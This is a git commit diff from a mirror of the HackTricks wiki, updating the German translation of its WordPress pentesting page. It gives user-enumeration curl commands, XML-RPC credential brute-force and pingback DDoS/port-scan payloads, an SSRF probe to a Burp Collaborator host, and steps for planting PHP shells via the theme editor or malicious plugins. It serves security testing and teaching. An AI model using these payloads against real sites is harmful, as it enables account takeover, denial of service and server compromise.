mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
794951198d
commit
c5e2a1f783
@ -4,49 +4,49 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
- **Hochgeladene** Dateien landen unter: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Theme-Dateien befinden sich in /wp-content/themes/,** daher wenn du etwas PHP des Themes änderst, um RCE zu erreichen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Bei Verwendung des **Themes twentytwelve** kannst du die **404.php** Datei erreichen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** Dateien werden abgelegt unter: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Theme-Dateien befinden sich in /wp-content/themes/,** daher wirst du vermutlich diesen Pfad nutzen, wenn du etwas PHP des Themes änderst, um RCE zu erreichen. Zum Beispiel: Wenn du **theme twentytwelve** verwendest, kannst du die **404.php**-Datei öffnen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** findest du das root-Passwort der Datenbank.
|
||||
- Standard-Login-Pfade, die man prüfen sollte: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In **wp-config.php** findest du das Root-Passwort der Datenbank.
|
||||
- Standard-Login-Pfade, die überprüft werden sollten: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Haupt-WordPress-Dateien**
|
||||
### **Wichtige WordPress-Dateien**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
|
||||
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.
|
||||
- Login-Ordner (können umbenannt sein, um sie zu verbergen):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus dient. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
|
||||
- Der Ordner `wp-content` ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
|
||||
- Login-Dateien/-Pfade (können umbenannt worden sein, um sie zu verbergen):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` ist eine Datei, die eine Funktionalität von WordPress darstellt, die das Übertragen von Daten ermöglicht, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus dient. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
|
||||
- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
|
||||
- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
|
||||
- `wp-includes/` Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.
|
||||
- `wp-includes/` ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Fonts, JavaScript-Dateien und Widgets.
|
||||
- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Beiträgen sowie öffentlich abfragbaren Post-Typen und Taxonomien.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie z. B. den Datenbanknamen, den Datenbank-Host, Benutzernamen und Passwort, Authentifizierungs-Keys und Salts sowie das Präfix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlerbehebung hilfreich sein kann.
|
||||
- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, Datenbank-Host, Benutzername und Passwort, Authentication Keys und Salts sowie das Tabellenpräfix der Datenbank. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
|
||||
|
||||
### Benutzerberechtigungen
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Veröffentlicht und verwaltet eigene und fremde Beiträge
|
||||
- **Author**: Veröffentlicht und verwaltet seine eigenen Beiträge
|
||||
- **Contributor**: Verfasst und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
|
||||
- **Subscriber**: Kann Beiträge anzeigen und sein Profil bearbeiten
|
||||
- **Author**: Veröffentlicht und verwaltet eigene Beiträge
|
||||
- **Contributor**: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
|
||||
- **Subscriber**: Kann Beiträge lesen und sein Profil bearbeiten
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **WordPress-Version herausfinden**
|
||||
### **Get WordPress version**
|
||||
|
||||
Prüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst
|
||||
|
||||
Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
Innerhalb des **Quellcodes** der Seite (Beispiel von [https://wordpress.org/support/article/pages/]):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Plugins und Themes
|
||||
|
||||
Du wirst wahrscheinlich nicht alle verfügbaren Plugins und Themes finden können. Um alle zu entdecken, musst du **aktiv eine Liste von Plugins und Themes per Brute Force** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
|
||||
Du wirst wahrscheinlich nicht in der Lage sein, alle Plugins und Themes zu finden. Um alle zu entdecken, musst du **aktiv eine Liste von Plugins und Themes per Brute Force** durchprobieren (zum Glück gibt es automatisierte Tools, die solche Listen enthalten).
|
||||
|
||||
### Benutzer
|
||||
|
||||
- **ID Brute:** Du erhältst gültige Benutzer eines WordPress-Systems, indem du Benutzer-IDs per Brute Forcing ermittelst:
|
||||
- **ID Brute:** Du erhältst gültige Benutzer von einer WordPress-Seite durch Brute Forcing der Benutzer-IDs:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die id **gültig** ist. Wenn die Antwort **400** ist, dann ist die id **ungültig**.
|
||||
|
||||
- **wp-json:** Sie können auch versuchen, Informationen über die Benutzer zu erhalten, indem Sie abfragen:
|
||||
- **wp-json:** Du kannst auch versuchen, Informationen über die Benutzer zu erhalten, indem du abfragst:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Ein weiterer `/wp-json/` endpoint, der einige Informationen über Benutzer preisgeben kann, ist:
|
||||
Ein weiterer `/wp-json/` endpoint, der einige Informationen über Benutzer anzeigen kann, ist:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Beachte, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erstellt haben. **Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
|
||||
Beachte, dass dieser Endpunkt nur Benutzer offenlegt, die einen Beitrag erstellt haben. **Es werden nur Informationen über die Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
|
||||
|
||||
Also beachte, dass **/wp-json/wp/v2/pages** IP-Adressen leak kann.
|
||||
Beachte auch, dass **/wp-json/wp/v2/pages** IP-Adressen leak könnte.
|
||||
|
||||
- **Login username enumeration**: Beim Login über **`/wp-login.php`** ist die **Meldung** **unterschiedlich**, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
|
||||
- **Login username enumeration**: Beim Einloggen in **`/wp-login.php`** ist die **Meldung** unterschiedlich, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Wenn `xml-rpc.php` aktiv ist, kannst du einen credentials brute-force durchführen oder es nutzen, um DoS-Angriffe gegen andere Ressourcen zu starten. (Du kannst diesen Prozess[ using this](https://github.com/relarizky/wpxploit) zum Beispiel automatisieren).
|
||||
Wenn `xml-rpc.php` aktiv ist, kannst du eine credentials brute-force durchführen oder es nutzen, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden:
|
||||
Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und sende diese Anfrage:
|
||||
|
||||
**Prüfen**
|
||||
```html
|
||||
@ -122,7 +122,7 @@ Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um credentials zu brute-force. Wenn du eines davon findest, kannst du so etwas senden:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um credentials per brute-force zu ermitteln. Wenn du eine davon findest, kannst du etwas wie Folgendes senden:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Die Meldung _"Incorrect username or password"_ innerhalb einer 200-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.
|
||||
Die Nachricht _"Incorrect username or password"_ innerhalb einer Antwort mit Statuscode 200 sollte erscheinen, wenn die Anmeldedaten nicht gültig sind.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Mit den korrekten Zugangsdaten können Sie eine Datei hochladen. In der Antwort erscheint der Pfad ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Mit den korrekten Anmeldedaten kannst du eine Datei hochladen. In der Antwort erscheint der Pfad ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Mit den korrekten Zugangsdaten können Sie eine Datei hochladen. In der Antwort
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
Es gibt auch einen **schnelleren Weg**, Anmeldeinformationen mit **`system.multicall`** zu brute-forcen, da du mehrere Credentials in derselben Anfrage testen kannst:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
**2FA umgehen**
|
||||
|
||||
Diese Methode ist für Programme und nicht für Menschen gedacht und außerdem veraltet, daher unterstützt sie kein 2FA. Wenn du gültige creds hast, aber der Hauptzugang durch 2FA geschützt ist, **kannst du xmlrpc.php möglicherweise missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen durchführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec erklärt in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, aber der Haupteingang durch 2FA geschützt ist, **kannst du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen durchführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
Wenn du die Methode _**pingback.ping**_ in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
|
||||
Dies kann verwendet werden, um **tausende** Wordpress-**Sites** dazu zu bringen, eine **einzige Adresse** aufzurufen (wodurch dort ein **DDoS** ausgelöst wird), oder du kannst es nutzen, um Wordpress ein internes **Netzwerk** scannen zu lassen (du kannst jeden Port angeben).
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** scan some internal **network** (you can indicate any port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ Dies kann verwendet werden, um **tausende** Wordpress-**Sites** dazu zu bringen,
|
||||
```
|
||||

|
||||
|
||||
Wenn du **faultCode** mit einem Wert **größer** als **0** (17) erhältst, bedeutet das, dass der Port offen ist.
|
||||
Wenn Sie **faultCode** mit einem Wert **größer als** **0** (17) erhalten, bedeutet das, dass der Port offen ist.
|
||||
|
||||
Sieh dir die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
|
||||
Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Sieh dir die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, u
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Site: **`/wp-cron.php`**\
|
||||
Wenn auf diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL **Query** ausgeführt, daher kann sie von **Angreifern** verwendet werden, um einen **DoS** zu **verursachen**.\
|
||||
Außerdem wird standardmäßig die `wp-cron.php` bei jedem Seitenaufruf ausgeführt (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert), was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
|
||||
This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
|
||||
Wenn diese Datei **aufgerufen** wird, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, sodass sie von **Angreifern** dazu benutzt werden kann, einen **DoS** zu verursachen.\
|
||||
Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (immer wenn ein Client eine beliebige Wordpress-Seite anfordert) aufgerufen, was bei stark frequentierten Sites Probleme (DoS) verursachen kann.
|
||||
|
||||
Es wird empfohlen, Wp-Cron zu deaktivieren und stattdessen einen echten cronjob auf dem Host anzulegen, der die benötigten Aktionen in regelmäßigen Intervallen ausführt (ohne Probleme zu verursachen).
|
||||
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host anzulegen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ und die Worpress-Site könnte eine Anfrage an dich senden.
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ und die Wordpress-Seite könnte eine Anfrage an dich senden.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Dieses Tool prüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind; falls ja, versucht es, diese auszunutzen.
|
||||
Dieses Tool prüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind, und versucht, diese auszunutzen.
|
||||
|
||||
## Automatische Tools
|
||||
```bash
|
||||
@ -240,16 +240,16 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Zugriff durch Überschreiben eines Bits
|
||||
|
||||
Mehr als ein echter Angriff ist das eher eine Kuriosität. In der CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man ein Bit in jeder wordpress-Datei umdrehen. Damit konnte man die Position `5389` der Datei `/var/www/html/wp-includes/user.php` ändern, um die NOT (`!`) Operation zu NOPen.
|
||||
Mehr eine Kuriosität als ein echter Angriff. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konntest du 1 Bit in einer beliebigen wordpress-Datei umdrehen. Du konntest also an Position `5389` der Datei `/var/www/html/wp-includes/user.php` ein Bit umdrehen, damit die NOT-Operation (`!`) zu einem NOP wird.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Ändern einer php-Datei des verwendeten Themes (admin-Zugangsdaten benötigt)**
|
||||
**Ändern einer php-Datei des verwendeten Themes (Administrator-Zugangsdaten erforderlich)**
|
||||
|
||||
Design → Theme-Editor → 404-Template (rechts)
|
||||
Appearance → Theme Editor → 404 Template (rechts)
|
||||
|
||||
Ändere den Inhalt zu einer php shell:
|
||||
|
||||
@ -269,12 +269,12 @@ um eine Session zu bekommen.
|
||||
|
||||
### PHP plugin
|
||||
|
||||
Es könnte möglich sein, .php Dateien als Plugin hochzuladen.\
|
||||
Erstelle deine php-Backdoor z.B. mit:
|
||||
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.\
|
||||
Erstelle deine PHP backdoor zum Beispiel mit:
|
||||
|
||||
.png>)
|
||||
|
||||
Dann füge ein neues Plugin hinzu:
|
||||
Füge dann ein neues Plugin hinzu:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -282,44 +282,44 @@ Plugin hochladen und auf Install Now drücken:
|
||||
|
||||
.png>)
|
||||
|
||||
Auf Procced klicken:
|
||||
Klicke auf Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Wahrscheinlich passiert zunächst nichts, aber wenn du zu Media gehst, wirst du sehen, dass deine Shell hochgeladen wurde:
|
||||
Wahrscheinlich scheint das zunächst nichts zu bewirken, aber wenn du zu Media gehst, wirst du deine hochgeladene shell sehen:
|
||||
|
||||
.png>)
|
||||
|
||||
Rufe sie auf und du siehst die URL, um die reverse shell auszuführen:
|
||||
Rufe sie auf und du siehst die URL zum Ausführen der reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Diese Methode beinhaltet die Installation eines bekannten, verwundbaren Plugins, das ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
|
||||
Bei dieser Methode wird ein bekannt verwundbares bösartiges Plugin installiert, das ausgenutzt werden kann, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
|
||||
|
||||
1. **Plugin Acquisition**: Das Plugin wird von einer Quelle wie Exploit DB bezogen, zum Beispiel [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: Das Plugin wird von einer Quelle wie Exploit DB bezogen, z. B. [**hier**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigiere im WordPress-Dashboard zu `Dashboard > Plugins > Upload Plugin`.
|
||||
- Lade die Zip-Datei des heruntergeladenen Plugins hoch.
|
||||
3. **Plugin Activation**: Nachdem das Plugin erfolgreich installiert wurde, muss es über das Dashboard aktiviert werden.
|
||||
- Navigiere zum WordPress Dashboard, dann zu `Dashboard > Plugins > Upload Plugin`.
|
||||
- Lade die zip-Datei des heruntergeladenen Plugins hoch.
|
||||
3. **Plugin Activation**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
|
||||
4. **Exploitation**:
|
||||
- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
|
||||
- Das Metasploit-Framework bietet einen Exploit für diese Verwundbarkeit. Durch Laden des entsprechenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter-Session etabliert werden, die unautorisierten Zugriff auf die Seite gewährt.
|
||||
- Es sei darauf hingewiesen, dass dies nur eine von vielen Methoden ist, um eine WordPress-Seite auszunutzen.
|
||||
- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann es ausgenutzt werden, da es als verwundbar bekannt ist.
|
||||
- Das Metasploit framework stellt einen Exploit für diese Schwachstelle bereit. Durch Laden des passenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter session hergestellt werden, die unautorisierten Zugriff auf die Seite gewährt.
|
||||
- Es sei angemerkt, dass dies nur eine von vielen Methoden ist, eine WordPress-Seite auszunutzen.
|
||||
|
||||
Der Inhalt enthält bildliche Darstellungen der Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Verwundbarkeiten auf diese Weise illegal und unethisch ist, wenn keine ausdrückliche Genehmigung vorliegt. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. bei autorisiertem pentesting.
|
||||
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins darstellen. Es ist jedoch wichtig zu betonen, dass das Ausnutzen von Schwachstellen auf diese Weise ohne entsprechende Autorisierung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. bei penetration testing mit ausdrücklicher Genehmigung.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## Von XSS zu RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Verwundbarkeit zu einer **Remote Code Execution (RCE)** oder anderen kritischen Verwundbarkeiten in WordPress zu eskalieren. Für mehr Infos siehe [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Support für WordPress Versions 6.X.X, 5.X.X und 4.X.X und erlaubt:**
|
||||
- _**Privilege Escalation:**_ Erstellt einen Benutzer in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lädt dein eigenes Plugin (Backdoor) in WordPress hoch.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Bearbeitet eingebaute Plugins in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Bearbeitet eingebaute Themes in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Eigene Exploits für Drittanbieter-WordPress-Plugins/Themes.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Schwachstelle in **Remote Code Execution (RCE)** oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Support für Wordpress Versions 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
|
||||
- _**Privilege Escalation:**_ Erstellt einen user in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lade dein custom plugin (backdoor) zu WordPress hoch.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Bearbeite eingebaute Plugins in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Bearbeite eingebaute Themes in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits für Third-Party WordPress Plugins/Themes.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Angriffsfläche
|
||||
|
||||
Zu wissen, wie ein Wordpress-Plugin Funktionalität offenlegen kann, ist entscheidend, um Schwachstellen in dessen Funktionalität zu finden. Wie ein Plugin Funktionalität offenlegen könnte, finden Sie in den folgenden Aufzählungspunkten sowie einige Beispiele verwundbarer Plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Zu wissen, wie ein Wordpress-Plugin Funktionalität freigeben kann, ist entscheidend, um Schwachstellen zu finden. Im Folgenden ist beschrieben, wie ein Plugin Funktionalität freigeben kann, und einige Beispiele verwundbarer Plugins finden Sie in [**diesem Blogbeitrag**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer bereitstellen kann, ist über AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das **jeder authentifizierte Benutzer in der Wordpress-Instanz haben könnte** (unabhängig von seiner Rolle).
|
||||
Eine Möglichkeit, wie ein Plugin Funktionen für Benutzer bereitstellen kann, ist über AJAX-Handler. Diese können logische Fehler sowie Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es recht häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
|
||||
|
||||
Das sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
|
||||
Das sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin freizugeben:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer zugänglich (sogar für nicht authentifizierte Benutzer).**
|
||||
**Die Verwendung von `nopriv` macht den Endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion `wp_verify_nonce` prüft, überprüft diese Funktion lediglich, ob der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten wenig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.
|
||||
> Außerdem, wenn die Funktion die Autorisierung des Nutzers nur mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion lediglich, ob der Nutzer eingeloggt ist; sie überprüft normalerweise nicht die Rolle des Nutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf Aktionen mit hohen Rechten haben.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Es ist auch möglich, Funktionen aus wordpress offenzulegen, indem man eine rest AP mit der Funktion `register_rest_route` registriert:
|
||||
Es ist auch möglich, Funktionen von wordpress freizulegen, indem man eine REST API mit der Funktion `register_rest_route` registriert:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,20 +363,20 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
Der `permission_callback` ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
|
||||
`permission_callback` ist ein Callback zu einer Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
|
||||
|
||||
**Wenn die eingebaute Funktion `__return_true` verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.**
|
||||
**Wenn die eingebaute Funktion `__return_true` verwendet wird, wird die Benutzerberechtigungsprüfung einfach übersprungen.**
|
||||
|
